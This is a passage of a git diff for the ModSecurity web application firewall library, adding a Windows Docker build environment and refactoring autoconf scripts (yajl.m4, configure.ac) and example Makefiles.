+SHELL ["cmd", "/S", "/C"] + +# set up environment to collect install errors. +COPY InstallBuildTools.cmd C:\TEMP\ +ADD https://aka.ms/vscollect.exe C:\TEMP\collect.exe + +# download channel for fixed install. +ARG CHANNEL_URL=https://aka.ms/vs/17/release/channel +ADD ${CHANNEL_URL} C:\TEMP\VisualStudio.chman + +# download and install Build Tools for Visual Studio 2022 for native desktop workload. +ADD https://aka.ms/vs/17/release/vs_buildtools.exe C:\TEMP\vs_buildtools.exe +RUN C:\TEMP\InstallBuildTools.cmd C:\TEMP\vs_buildtools.exe --quiet --wait --norestart --nocache ` + --channelUri C:\TEMP\VisualStudio.chman ` + --installChannelUri C:\TEMP\VisualStudio.chman ` + --add Microsoft.VisualStudio.Workload.VCTools ` + --includeRecommended ` + --installPath C:\BuildTools + +# download & install GIT +ARG GIT_VERSION=2.53.0 +ARG GIT_BINARY=Git-${GIT_VERSION}-64-bit.exe +ARG GIT_URL=https://github.com/git-for-windows/git/releases/download/v${GIT_VERSION}.windows.1/${GIT_BINARY} + +COPY git.inf C:\TEMP\ +ARG INSTALLER=C:\TEMP\${GIT_BINARY} +ADD ${GIT_URL} ${INSTALLER} +RUN %INSTALLER% /SP- /VERYSILENT /SUPPRESSMSGBOXES /NOCANCEL ` + /NORESTART /CLOSEAPPLICATIONS /RESTARTAPPLICATIONS /LOADINF=git.inf + +# download & setup conan +ARG CONAN_VERSION=2.27.1 +ARG CONAN_BINARY=conan-${CONAN_VERSION}-windows-x86_64-installer.exe +ARG CONAN_URL=https://github.com/conan-io/conan/releases/download/${CONAN_VERSION}/${CONAN_BINARY} + +ARG INSTALLER=C:\TEMP\${CONAN_BINARY} +ADD ${CONAN_URL} ${INSTALLER} +RUN %INSTALLER% /SP- /VERYSILENT /SUPPRESSMSGBOXES + +# setup conan profile +RUN C:\BuildTools\VC\Auxiliary\Build\vcvars64.bat && conan profile detect --force + +# download libModSecurity +# + +# create src dir +ARG SRC_DIR=C:\src + +WORKDIR C:\ +RUN cmd.exe /C md %SRC_DIR% + +# libModSecurity +WORKDIR ${SRC_DIR} + +ARG MOD_SECURITY_TAG=v3/master +RUN git clone -c advice.detachedHead=false --depth 1 --branch %MOD_SECURITY_TAG% https://github.com/owasp-modsecurity/ModSecurity.git + +ARG MOD_SECURITY_DIR=${SRC_DIR}\ModSecurity +WORKDIR ${MOD_SECURITY_DIR} + +# fetch submodules (bindings/python, others/libinjection, test/test-cases/secrules-language-tests) +RUN git submodule init +RUN git submodule update + +# build libraries +# + +ARG BUILD_TYPE=Release +ARG ARCH=x86_64 +ARG USE_ASAN= + +RUN C:\BuildTools\VC\Auxiliary\Build\vcvars64.bat && vcbuild.bat %BUILD_TYPE% %ARCH% %USE_ASAN% + +# test suite +# + +# setup test environment +RUN cmd.exe /C md \tmp +RUN cmd.exe /C md \bin +RUN cmd.exe /C copy "C:\Program Files\GIT\usr\bin" \bin > NUL +RUN cmd.exe /C copy "C:\Program Files\GIT\usr\bin\echo.exe" \bin\echo > NUL + +# disable tests that don't work on windows +ARG JQ_VERSION=1.8.1 +ARG JQ_BINARY=jq-windows-amd64.exe +ARG JQ_URL=https://github.com/jqlang/jq/releases/download/jq-${JQ_VERSION}/${JQ_BINARY} + +ARG JQ_BIN=C:\TEMP\jq.exe +ADD ${JQ_URL} ${JQ_BIN} + +WORKDIR ${MOD_SECURITY_DIR}\test\test-cases\regression + +RUN %JQ_BIN% "map(if .title == \"Test match variable (1/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json +RUN %JQ_BIN% "map(if .title == \"Test match variable (2/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json +RUN %JQ_BIN% "map(if .title == \"Test match variable (3/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json +RUN %JQ_BIN% "map(if .title == \"Variable offset - FILES_NAMES\" then .enabled = 0 else . end)" offset-variable.json > tmp.json && move /Y tmp.json offset-variable.json + +# run tests +WORKDIR ${MOD_SECURITY_DIR}\build\win32\build + +RUN C:\BuildTools\VC\Auxiliary\Build\vcvars64.bat && ctest -C %BUILD_TYPE% --output-on-failure + +# setup container's entrypoint +# + +WORKDIR C:\ + +# Use developer command prompt and start PowerShell if no other command specified. +ENTRYPOINT ["C:\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat", "&&", "powershell.exe", "-NoLogo", "-ExecutionPolicy", "Bypass"] diff --git a/build/win32/docker/InstallBuildTools.cmd b/build/win32/docker/InstallBuildTools.cmd new file mode 100644 index 0000000000..a0c07c7815 --- /dev/null +++ b/build/win32/docker/InstallBuildTools.cmd @@ -0,0 +1,17 @@ +@rem Copyright (C) Microsoft Corporation. All rights reserved. +@rem Licensed under the MIT license. See LICENSE.txt in the project root for license information. + +@if not defined _echo echo off +setlocal enabledelayedexpansion + +call %* +if "%ERRORLEVEL%"=="3010" ( + exit /b 0 +) else ( + if not "%ERRORLEVEL%"=="0" ( + set ERR=%ERRORLEVEL% + call C:\TEMP\collect.exe -zip:C:\vslogs.zip + + exit /b !ERR! + ) +) diff --git a/build/win32/docker/git.inf b/build/win32/docker/git.inf new file mode 100644 index 0000000000..49781dd9a4 --- /dev/null +++ b/build/win32/docker/git.inf @@ -0,0 +1,20 @@ +[Setup] +Lang=default +Dir=C:\Program Files\Git +Group=Git +NoIcons=0 +SetupType=default +Components=ext,ext\shellhere,ext\guihere,gitlfs,assoc,autoupdate +Tasks= +EditorOption=VIM +CustomEditorPath= +PathOption=Cmd +SSHOption=OpenSSH +TortoiseOption=false +CURLOption=WinSSL +CRLFOption=LFOnly +BashTerminalOption=ConHost +PerformanceTweaksFSCache=Enabled +UseCredentialManager=Enabled +EnableSymlinks=Disabled +EnableBuiltinInteractiveAdd=Disabled \ No newline at end of file diff --git a/build/yajl.m4 b/build/yajl.m4 index dd69571562..06271e1fea 100644 --- a/build/yajl.m4 +++ b/build/yajl.m4 @@ -1,169 +1,33 @@ dnl Check for YAJL Libraries -dnl CHECK_YAJL(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) +dnl Sets: +dnl YAJL_CFLAGS +dnl YAJL_LDADD +dnl YAJL_LDFLAGS +dnl YAJL_VERSION +dnl YAJL_DISPLAY +dnl YAJL_FOUND AC_DEFUN([PROG_YAJL], [ - -# Possible names for the yajl library/package (pkg-config) -YAJL_POSSIBLE_LIB_NAMES="yajl2 yajl" - -# Possible extensions for the library -YAJL_POSSIBLE_EXTENSIONS="so la sl dll dylib" - -# Possible paths (if pkg-config was not found, proceed with the file lookup) -YAJL_POSSIBLE_PATHS="/usr/lib /usr/local/lib /usr/local/libyajl /usr/local/yajl /usr/local /opt/libyajl /opt/yajl /opt /usr /usr/lib64" - -# Variables to be set by this very own script. -YAJL_VERSION="" -YAJL_CFLAGS="" -YAJL_CPPFLAGS="" -YAJL_LDADD="" -YAJL_LDFLAGS="" - -AC_ARG_WITH( - yajl, - [AS_HELP_STRING([--with-yajl=PATH],[Path to yajl prefix or config script])] -) - -if test "x${with_yajl}" == "xno"; then - AC_DEFINE(HAVE_YAJL, 0, [Support for YAJL was disabled by the utilization of --without-yajl or --with-yajl=no]) - AC_MSG_NOTICE([Support for YAJL was disabled by the utilization of --without-yajl or --with-yajl=no]) - YAJL_DISABLED=yes -else - if test "x${with_yajl}" == "xyes"; then - YAJL_MANDATORY=yes - AC_MSG_NOTICE([YAJL support was marked as mandatory by the utilization of --with-yajl=yes]) - fi -# for x in ${YAJL_POSSIBLE_LIB_NAMES}; do -# CHECK_FOR_YAJL_AT(${x}) -# if test -n "${YAJL_VERSION}"; then -# break -# fi -# done - -# if test "x${with_yajl}" != "xyes" or test "x${with_yajl}" == "xyes"; then - if test "x${with_yajl}" == "x" || test "x${with_yajl}" == "xyes"; then - # Nothing about YAJL was informed, using the pkg-config to figure things out. - if test -n "${PKG_CONFIG}"; then - YAJL_PKG_NAME="" - for x in ${YAJL_POSSIBLE_LIB_NAMES}; do - if ${PKG_CONFIG} --exists ${x}; then - YAJL_PKG_NAME="$x" - break - fi - done - fi - AC_MSG_NOTICE([Nothing about YAJL was informed during the configure phase. Trying to detect it on the platform...]) - if test -n "${YAJL_PKG_NAME}"; then - # Package was found using the pkg-config scripts - YAJL_VERSION="`${PKG_CONFIG} ${YAJL_PKG_NAME} --modversion`" - YAJL_CFLAGS="`${PKG_CONFIG} ${YAJL_PKG_NAME} --cflags`" - YAJL_LDADD="`${PKG_CONFIG} ${YAJL_PKG_NAME} --libs-only-l`" - YAJL_LDFLAGS="`${PKG_CONFIG} ${YAJL_PKG_NAME} --libs-only-L --libs-only-other`" - YAJL_DISPLAY="${YAJL_LDADD}, ${YAJL_CFLAGS}" - else - # If pkg-config did not find anything useful, go over file lookup. - for x in ${YAJL_POSSIBLE_LIB_NAMES}; do - CHECK_FOR_YAJL_AT(${x}) - if test -n "${YAJL_VERSION}"; then - break - fi - done - fi - fi - if test "x${with_yajl}" != "x"; then - # An specific path was informed, lets check. - YAJL_MANDATORY=yes - CHECK_FOR_YAJL_AT(${with_yajl}) - fi -# fi -fi - -if test -z "${YAJL_LDADD}"; then - if test -z "${YAJL_MANDATORY}"; then - if test -z "${YAJL_DISABLED}"; then - AC_MSG_NOTICE([YAJL library was not found]) - YAJL_FOUND=0 - else - YAJL_FOUND=2 - fi - else - AC_MSG_ERROR([YAJL was explicitly referenced but it was not found]) - YAJL_FOUND=-1 - fi -else - YAJL_FOUND=1 - AC_MSG_NOTICE([using YAJL v${YAJL_VERSION}]) - YAJL_CFLAGS="-DWITH_YAJL ${YAJL_CFLAGS}" - YAJL_DISPLAY="${YAJL_LDADD}, ${YAJL_CFLAGS}" - AC_SUBST(YAJL_VERSION) - AC_SUBST(YAJL_LDADD) - AC_SUBST(YAJL_LIBS) - AC_SUBST(YAJL_LDFLAGS) - AC_SUBST(YAJL_CFLAGS) - AC_SUBST(YAJL_DISPLAY) -fi - - - -AC_SUBST(YAJL_FOUND) +MSC_CHECK_LIB([YAJL], [yajl2 yajl], [yajl/yajl_parse.h], [yajl], [-DWITH_YAJL]) + +# FIX: if the include directory in CFLAGS ends with "include/yajl", +# remove the suffix "/yajl". The library header files are included +# using the prefix (e.g., #include ), and +# this is even the case for the library itself (e.g., +# yajl_tree.h includes yajl/yajl_common.h). +_msc_yajl_new_cflags="" +for _msc_yajl_flag in $YAJL_CFLAGS; do + case "$_msc_yajl_flag" in + -I*/include/yajl) + _msc_yajl_new_flag="${_msc_yajl_flag%/yajl}" + _msc_yajl_new_cflags="$_msc_yajl_new_cflags $_msc_yajl_new_flag" + ;; + *) + _msc_yajl_new_cflags="$_msc_yajl_new_cflags $_msc_yajl_flag" + ;; + esac +done +YAJL_CFLAGS="$_msc_yajl_new_cflags" +YAJL_DISPLAY="${YAJL_LDADD}, ${YAJL_CFLAGS}" ]) # AC_DEFUN [PROG_YAJL] - - -AC_DEFUN([CHECK_FOR_YAJL_AT], [ - path=$1 - for y in ${YAJL_POSSIBLE_EXTENSIONS}; do - for z in ${YAJL_POSSIBLE_LIB_NAMES}; do - if test -e "${path}/${z}.${y}"; then - yajl_lib_path="${path}/" - yajl_lib_name="${z}" - yajl_lib_file="${yajl_lib_path}/${z}.${y}" - break - fi - if test -e "${path}/lib${z}.${y}"; then - yajl_lib_path="${path}/" - yajl_lib_name="${z}" - yajl_lib_file="${yajl_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/lib${z}.${y}"; then - yajl_lib_path="${path}/lib/" - yajl_lib_name="${z}" - yajl_lib_file="${yajl_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/x86_64-linux-gnu/lib${z}.${y}"; then - yajl_lib_path="${path}/lib/x86_64-linux-gnu/" - yajl_lib_name="${z}" - yajl_lib_file="${yajl_lib_path}/lib${z}.${y}" - break - fi - done - if test -n "$yajl_lib_path"; then - break - fi - done - if test -e "${path}/include/yajl_parse.h"; then - yajl_inc_path="${path}/include" - elif test -e "${path}/yajl_parse.h"; then - yajl_inc_path="${path}" - elif test -e "${path}/include/yajl/yajl_parse.h"; then - yajl_inc_path="${path}/include" - fi - - if test -n "${yajl_lib_path}"; then - AC_MSG_NOTICE([YAJL library found at: ${yajl_lib_file}]) - fi - - if test -n "${yajl_inc_path}"; then - AC_MSG_NOTICE([YAJL headers found at: ${yajl_inc_path}]) - fi - - if test -n "${yajl_lib_path}" -a -n "${yajl_inc_path}"; then - # TODO: Compile a piece of code to check the version. - YAJL_CFLAGS="-I${yajl_inc_path}" - YAJL_LDADD="-l${yajl_lib_name}" - YAJL_LDFLAGS="-L${yajl_lib_path}" - YAJL_DISPLAY="${yajl_lib_file}, ${yajl_inc_path}" - fi -]) # AC_DEFUN [CHECK_FOR_YAJL_AT] diff --git a/configure.ac b/configure.ac index 66d6f4f2de..7bdcca6bc4 100644 --- a/configure.ac +++ b/configure.ac @@ -1,5 +1,6 @@ # ModSecurity configure.ac +AC_PREREQ([2.69]) # Get the hash of the last commit, to be used if it is not an # official release. @@ -42,18 +43,24 @@ AC_PREFIX_DEFAULT([/usr/local/modsecurity]) # General automake options. -AM_INIT_AUTOMAKE([-Wall -Werror foreign subdir-objects]) +AM_INIT_AUTOMAKE([-Wall foreign subdir-objects]) # Check for dependencies (C++, AR, Lex, Yacc and Make) AC_PROG_CXX AM_PROG_AR +AC_PROG_AWK +AC_PROG_CC +AC_PROG_CPP +AC_PROG_INSTALL +AC_PROG_LN_S AC_PROG_MAKE_SET +AC_PROG_MKDIR_P PKG_PROG_PKG_CONFIG -# Check if the compiler is c++11 compatible. -# AX_CXX_COMPILE_STDCXX_11(,mandatory) +# Set C++ standard version and check if compiler supports it. +AX_CXX_COMPILE_STDCXX(17, noext, mandatory) # Check for libinjection if ! test -f "${srcdir}/others/libinjection/src/libinjection_html5.c"; then @@ -68,13 +75,33 @@ AC_MSG_ERROR([\ You can download libInjection using git: - $ git submodule init - $ git submodule update + $ git submodule update --init --recursive ]) fi # Libinjection version AC_DEFUN([LIBINJECTION_VERSION], m4_esyscmd_s(cd "others/libinjection" && git describe && cd ../..)) +AC_SUBST([LIBINJECTION_VERSION]) + +# Check for Mbed TLS +if ! test -f "${srcdir}/others/mbedtls/tf-psa-crypto/utilities/base64.c"; then +AC_MSG_ERROR([\ + + + Mbed TLS was not found within ModSecurity source directory. + + Mbed TLS code is available as part of ModSecurity source code in a format + of a git-submodule. git-submodule allow us to specify the correct version of + Mbed TLS and still uses the Mbed TLS repository to download it. + + You can download Mbed TLS using git: + + $ git submodule update --init --recursive + + ]) +fi +# Mbed TLS version +AC_DEFUN([MBEDTLS_VERSION], m4_esyscmd_s(cd "others/mbedtls" && git describe && cd ../..)) # SecLang test version AC_DEFUN([SECLANG_TEST_VERSION], m4_esyscmd_s(cd "test/test-cases/secrules-language-tests" && git log -1 --format="%h" --abbrev-commit && cd ../../..)) @@ -87,24 +114,18 @@ AM_CONDITIONAL([YAJL_VERSION], [test "$YAJL_VERSION" != ""]) # Check for LibGeoIP PROG_GEOIP -AM_CONDITIONAL([GEOIP_CFLAGS], [test "GEOIP_CFLAGS" != ""]) # Check for MaxMind PROG_MAXMIND -AM_CONDITIONAL([MAXMIND_CFLAGS], [test "MAXMIND_CFLAGS" != ""]) - # Check for LMDB PROG_LMDB -AM_CONDITIONAL([LMDB_CFLAGS], [test "LMDB_CFLAGS" != ""]) # Check for SSDEEP CHECK_SSDEEP -AM_CONDITIONAL([SSDEEP_CFLAGS], [test "SSDEEP_CFLAGS" != ""]) # Check for LUA CHECK_LUA -AM_CONDITIONAL([LUA_CFLAGS], [test "LUA_CFLAGS" != ""]) # @@ -124,27 +145,53 @@ CHECK_LIBXML2 # -# Check for libpcre -# -CHECK_PCRE - - +# Check for libpcre only if explicitly requested # -# Check for pcre2 -# -PROG_PCRE2 -AM_CONDITIONAL([PCRE2_CFLAGS], [test "PCRE2_CFLAGS" != ""]) +if test "x${with_pcre}" != "x" && test "x${with_pcre}" != "xno"; then + CHECK_PCRE +else + # + # Check for pcre2 + # + PROG_PCRE2 +fi # Checks for header files. -AC_HEADER_STDC AC_CHECK_HEADERS([string]) AC_CHECK_HEADERS([iostream]) AC_CHECK_HEADERS([sys/utsname.h]) - - -# ?? -LT_INIT([dlopen]) +AC_CHECK_HEADERS([arpa/inet.h fcntl.h inttypes.h libintl.h malloc.h netdb.h netinet/in.h stdint.h sys/ioctl.h sys/param.h sys/socket.h sys/time.h unistd.h]) + + + +# Checks for typedefs, structures, and compiler characteristics. +AC_CHECK_HEADER_STDBOOL +AC_C_INLINE +AC_TYPE_INT16_T +AC_TYPE_INT32_T +AC_TYPE_INT64_T +AC_TYPE_INT8_T +AC_TYPE_OFF_T +AC_TYPE_PID_T +AC_TYPE_SIZE_T +AC_TYPE_SSIZE_T +AC_TYPE_UINT16_T +AC_TYPE_UINT32_T +AC_TYPE_UINT64_T +AC_TYPE_UINT8_T +AC_CHECK_TYPES([ptrdiff_t]) +AC_CHECK_TYPES([time_t]) + +# Checks for library functions. +AC_FUNC_ERROR_AT_LINE +AC_FUNC_FORK +AC_FUNC_MALLOC +AC_FUNC_REALLOC +AC_CHECK_FUNCS([alarm clock_gettime gethostname gettimeofday inet_ntoa localtime_r memmove memset mkdir select setenv socket strcasecmp strchr strdup strerror strncasecmp strspn strstr strtol strtoul strtoull uname]) + +# Initialize libtool +LT_INIT # Identify platform AC_CANONICAL_HOST @@ -227,84 +274,22 @@ AC_SUBST([MSC_VERSION]) MSC_GIT_VERSION=msc_version_git AC_SUBST([MSC_GIT_VERSION]) - -AC_ARG_ENABLE(debug-logs, - [AS_HELP_STRING([--disable-debug-logs],[Turn off the SecDebugLog feature])], - - [case "${enableval}" in - yes) debugLogs=true ;; - no) debugLogs=false ;; - *) AC_MSG_ERROR(bad value ${enableval} for --enable-debug-logs) ;; - esac], - - [debugLogs=true] - ) +MSC_ARG_ENABLE_BOOL([assertions], [Turn on assertions feature: undefine NDEBUG], [false], [assertions]) +MSC_ARG_ENABLE_BOOL([debug-logs], [Turn off the SecDebugLog feature], [true], [debugLogs]) if test "$debugLogs" != "true"; then MODSEC_NO_LOGS="-DNO_LOGS=1" AC_SUBST(MODSEC_NO_LOGS) fi - -# Fuzzer -AC_ARG_ENABLE(afl-fuzz, - [AS_HELP_STRING([--enable-afl-fuzz],[Turn on the afl fuzzer compilation utilities])], - - [case "${enableval}" in - yes) aflFuzzer=true ;; - no) aflFuzzer=false ;; - *) AC_MSG_ERROR(bad value ${enableval} for --enable-afl-fuzz) ;; - esac], - - [aflFuzzer=false] - ) - -# Examples -AC_ARG_ENABLE(examples, - [AS_HELP_STRING([--enable-examples],[Turn on the examples compilation (default option)])], - - [case "${enableval}" in - yes) buildExamples=true ;; - no) buildExamples=false ;; - *) AC_MSG_ERROR(bad value ${enableval} for --enable-examples) ;; - esac], - - [buildExamples=true] - ) - -# Parser -AC_ARG_ENABLE(parser-generation, - [AS_HELP_STRING([--enable-parser-generation],[Enables parser generation during the build])], - - [case "${enableval}" in - yes) buildParser=true ;; - no) buildParser=false ;; - *) AC_MSG_ERROR(bad value ${enableval} for --enable-parser-generation) ;; - esac], - - [buildParser=false] - ) - -# Mutex -AC_ARG_ENABLE(mutex-on-pm, - [AS_HELP_STRING([--enable-mutex-on-pm],[Treats pm operations as a critical section])], - - [case "${enableval}" in - yes) mutexPm=true ;; - no) mutexPm=false ;; - *) AC_MSG_ERROR(bad value ${enableval} for --enable-mutex-on-pm) ;; - esac], - - [mutexPm=false] - ) -if test "$mutexPm" == "true"; then - MODSEC_MUTEX_ON_PM="-DMUTEX_ON_PM=1" - AC_SUBST(MODSEC_MUTEX_ON_PM) -fi +MSC_ARG_ENABLE_BOOL([afl-fuzz], [Turn on the afl fuzzer compilation utilities], [false], [aflFuzzer]) +MSC_ARG_ENABLE_BOOL([examples], [Turn on the examples compilation (default option)], [true], [buildExamples]) +MSC_ARG_ENABLE_BOOL([parser-generation], [Enables parser generation during the build], [false], [buildParser]) +MSC_ARG_ENABLE_BOOL([mutex-on-pm], [Treat pm operations as critical section], [false], [mutexPm]) if test $buildParser = true; then AC_PROG_YACC - AC_PROG_LEX + AC_PROG_LEX(noyywrap) AC_PATH_PROG([FLEX], [flex]) test "x$FLEX" = "x" && AC_MSG_ERROR([flex is needed to build ModSecurity]) @@ -356,6 +341,14 @@ if test "$aflFuzzer" == "true"; then GLOBAL_CPPFLAGS="$GLOBAL_CPPFLAGS $FUZZ_CPPCFLAGS" $buildExamples = false fi + +case $assertions in + false) ASSERTIONS_CPPCFLAGS="-DNDEBUG" ;; + true) ASSERTIONS_CPPCFLAGS="-UNDEBUG" ;; + *) AC_MSG_ERROR(bad value ${assertions} for assertions) ;; +esac +GLOBAL_CPPFLAGS="$GLOBAL_CPPFLAGS $ASSERTIONS_CPPCFLAGS" + AC_SUBST(GLOBAL_LDADD) AC_SUBST(GLOBAL_CPPFLAGS) @@ -383,6 +376,7 @@ AM_COND_IF([EXAMPLES], examples/Makefile \ examples/simple_example_using_c/Makefile \ examples/multiprocess_c/Makefile \ + examples/multithread/Makefile \ examples/reading_logs_with_offset/Makefile \ examples/reading_logs_via_rule_message/Makefile \ examples/using_bodies_in_chunks/Makefile \ @@ -426,6 +420,8 @@ echo " " echo " Mandatory dependencies" AS_ECHO_N(" + libInjection ....") echo LIBINJECTION_VERSION +AS_ECHO_N(" + Mbed TLS ....") +echo MBEDTLS_VERSION AS_ECHO_N(" + SecLang tests ....") echo SECLANG_TEST_VERSION @@ -434,12 +430,12 @@ echo " Optional dependencies" -## GeoIP - MaxMind +## GeoIP - MaxMind (combined display) if test "x$GEOIP_FOUND" = "x0" && test "x$MAXMIND_FOUND" = "x0"; then echo " + GeoIP/MaxMind ....not found" fi if test "x$GEOIP_FOUND" = "x1" || test "x$MAXMIND_FOUND" = "x1"; then - AS_ECHO_N(" + GeoIP/MaxMind ....found ") + AS_ECHO_N([" + GeoIP/MaxMind ....found "]) echo "" if test "x$MAXMIND_FOUND" = "x1"; then echo " * (MaxMind) v${MAXMIND_VERSION}" @@ -454,130 +450,25 @@ if test "x$GEOIP_FOUND" = "x2" && test "x$MAXMIND_FOUND" = "x2"; then echo " + GeoIP/MaxMind ....disabled" fi +MSC_STATUS_LIB([LibCURL ], [CURL]) +MSC_STATUS_LIB([YAJL ], [YAJL]) +MSC_STATUS_LIB([LMDB ], [LMDB]) +MSC_STATUS_LIB([LibXML2 ], [LIBXML2]) +MSC_STATUS_LIB([SSDEEP ], [SSDEEP]) +MSC_STATUS_LIB([LUA ], [LUA]) -## LibCurl -if test "x$CURL_FOUND" = "x0"; then - echo " + LibCURL ....not found" -fi -if test "x$CURL_FOUND" = "x1"; then - AS_ECHO_N(" + LibCURL ....found ") - if ! test "x$CURL_VERSION" = "x"; then - echo "v${CURL_VERSION}" - else - echo "" - fi - echo " ${CURL_DISPLAY}" -fi -if test "x$CURL_FOUND" = "x2"; then - echo " + LibCURL ....disabled" -fi - - -## YAJL -if test "x$YAJL_FOUND" = "x0"; then - echo " + YAJL ....not found" -fi -if test "x$YAJL_FOUND" = "x1"; then - AS_ECHO_N(" + YAJL ....found ") - if ! test "x$YAJL_VERSION" = "x"; then - echo "v${YAJL_VERSION}" - else - echo "" - fi - echo " ${YAJL_DISPLAY}" -fi -if test "x$YAJL_FOUND" = "x2"; then - echo " + YAJL ....disabled" -fi - - -## LMDB -if test "x$LMDB_FOUND" = "x0"; then - echo " + LMDB ....not found" -fi -if test "x$LMDB_FOUND" = "x1"; then - AS_ECHO_N(" + LMDB ....found ") - if ! test "x$LMDB_VERSION" = "x"; then - echo "v${LMDB_VERSION}" +## PCRE (only shown when explicitly requested) +if test "x${with_pcre}" != "x" && test "x${with_pcre}" != "xno"; then + if test -n "${PCRE_VERSION}"; then + echo " + PCRE ....found " + echo " using pcre v${PCRE_VERSION}" + echo " ${PCRE_LDADD}, ${PCRE_CFLAGS}" else - echo "" + AC_MSG_NOTICE([*** pcre library not found.]) fi - echo " ${LMDB_DISPLAY}" -fi -if test "x$LMDB_FOUND" = "x2"; then - echo " + LMDB ....disabled" fi - -## libxml2 -if test "x$LIBXML2_FOUND" = "x0"; then - echo " + LibXML2 ....not found" -fi -if test "x$LIBXML2_FOUND" = "x1"; then - AS_ECHO_N(" + LibXML2 ....found ") - if ! test "x$LIBXML2_VERSION" = "x"; then - echo "v${LIBXML2_VERSION}" - else - echo "" - fi - echo " ${LIBXML2_DISPLAY}" -fi -if test "x$LIBXML2_FOUND" = "x2"; then - echo " + LibXML2 ....disabled" -fi - - -## SSDEEP -if test "x$SSDEEP_FOUND" = "x0"; then - echo " + SSDEEP ....not found" -fi -if test "x$SSDEEP_FOUND" = "x1"; then - AS_ECHO_N(" + SSDEEP ....found ") - if ! test "x$SSDEEP_VERSION" = "x"; then - echo "v${SSDEEP_VERSION}" - else - echo "" - fi - echo " ${SSDEEP_DISPLAY}" -fi -if test "x$SSDEEP_FOUND" = "x2"; then - echo " + SSDEEP ....disabled" -fi - -## LUA -if test "x$LUA_FOUND" = "x0"; then - echo " + LUA ....not found" -fi -if test "x$LUA_FOUND" = "x1"; then - AS_ECHO_N(" + LUA ....found ") - if ! test "x$LUA_VERSION" = "x"; then - echo "v${LUA_VERSION}" - else - echo "" - fi - echo " ${LUA_DISPLAY}" -fi -if test "x$LUA_FOUND" = "x2"; then - echo " + LUA ....disabled" -fi - - -## PCRE2 -if test "x$PCRE2_FOUND" = "x0"; then - echo " + PCRE2 ....not found" -fi -if test "x$PCRE2_FOUND" = "x1"; then - AS_ECHO_N(" + PCRE2 ....found ") - if ! test "x$PCRE2_VERSION" = "x"; then - echo "v${PCRE2_VERSION}" - else - echo "" - fi - echo " ${PCRE2_DISPLAY}" -fi -if test "x$PCRE2_FOUND" = "x2"; then - echo " + PCRE2 ....disabled" -fi +MSC_STATUS_LIB([PCRE2 ], [PCRE2]) echo " " echo " Other Options" @@ -590,6 +481,11 @@ if test $buildTestUtilities = true; then else echo " + Test Utilities ....disabled" fi +if test $assertions = true; then + echo " + Assertions ....enabled" +else + echo " + Assertions ....disabled" +fi if test $debugLogs = true; then echo " + SecDebugLog ....enabled" else @@ -636,4 +532,3 @@ if test "$aflFuzzer" = "true"; then echo " $ export CC=afl-clang-fast " echo " " fi - diff --git a/examples/Makefile.am b/examples/Makefile.am index 609cb93ef0..2dbb21ace7 100644 --- a/examples/Makefile.am +++ b/examples/Makefile.am @@ -4,6 +4,7 @@ ACLOCAL_AMFLAGS = -I build SUBDIRS = \ multiprocess_c \ + multithread \ reading_logs_with_offset \ reading_logs_via_rule_message \ simple_example_using_c \ diff --git a/examples/multiprocess_c/Makefile.am b/examples/multiprocess_c/Makefile.am index 85c2648726..726d1d9057 100644 --- a/examples/multiprocess_c/Makefile.am +++ b/examples/multiprocess_c/Makefile.am @@ -15,7 +15,6 @@ multi_LDFLAGS = \ -L$(top_builddir)/src/.libs/ \ $(GEOIP_LDFLAGS) \ -lmodsecurity \ - -lpthread \ -lm \ -lstdc++ \ $(LUA_LDFLAGS) \ diff --git a/examples/multiprocess_c/multi.c b/examples/multiprocess_c/multi.c index 6c2ae52182..6fb0cbf54e 100644 --- a/examples/multiprocess_c/multi.c +++ b/examples/multiprocess_c/multi.c @@ -19,7 +19,11 @@ #include #include #include +#ifndef WIN32 #include +#else +#include +#endif #include #include #include @@ -34,7 +38,7 @@ RulesSet *rules = NULL; ModSecurity *modsec = NULL; -void process_special_request (int j) { +static void process_special_request (int j) { Transaction *transaction; transaction = msc_new_transaction(modsec, rules, NULL); @@ -56,7 +60,7 @@ void process_special_request (int j) { msc_transaction_cleanup(transaction); } -void process_request (int j) { +static void process_request (int j) { int i; for (i = 0; i < REQUESTS_PER_PROCESS; i++) { diff --git a/examples/multithread/Makefile.am b/examples/multithread/Makefile.am new file mode 100644 index 0000000000..bb5cf67982 --- /dev/null +++ b/examples/multithread/Makefile.am @@ -0,0 +1,61 @@ + + +noinst_PROGRAMS = multithread + +multithread_SOURCES = \ + multithread.cc + +multithread_LDADD = \ + $(CURL_LDADD) \ + $(GEOIP_LDADD) \ + $(GLOBAL_LDADD) \ + $(LIBXML2_LDADD) \ + $(LMDB_LDADD) \ + $(MAXMIND_LDADD) \ + $(LUA_LDADD) \ + $(PCRE_LDADD) \ + $(PCRE2_LDADD) \ + $(SSDEEP_LDADD) \ + $(YAJL_LDADD) + +multithread_LDFLAGS = \ + -L$(top_builddir)/src/.libs/ \ + $(GEOIP_LDFLAGS) \ + -lmodsecurity \ + -lpthread \ + -lm \ + -lstdc++ \ + $(LMDB_LDFLAGS) \ + $(LUA_LDFLAGS) \ + $(MAXMIND_LDFLAGS) \ + $(SSDEEP_LDFLAGS) \ + $(YAJL_LDFLAGS) + +multithread_CPPFLAGS = \ + $(GLOBAL_CFLAGS) \ + -I$(top_builddir)/headers \ + -I$(top_builddir) \ + -g \ + -I../others \ + -fPIC \ + -O3 \ + $(CURL_CFLAGS) \ + $(GEOIP_CFLAGS) \ + $(GLOBAL_CPPFLAGS) \ + $(MODSEC_NO_LOGS) \ + $(YAJL_CFLAGS) \ + $(LMDB_CFLAGS) \ + $(LUA_CFLAGS) \ + $(PCRE_CFLAGS) \ + $(PCRE2_CFLAGS) \ + $(LIBXML2_CFLAGS) + + +MAINTAINERCLEANFILES = \ + Makefile.in + +EXTRA_DIST = \ + basic_rules.conf \ + inspectfile_rules.conf \ + inspectfile_helper.sh + diff --git a/examples/multithread/basic_rules.conf b/examples/multithread/basic_rules.conf new file mode 100644 index 0000000000..cff1834261 --- /dev/null +++ 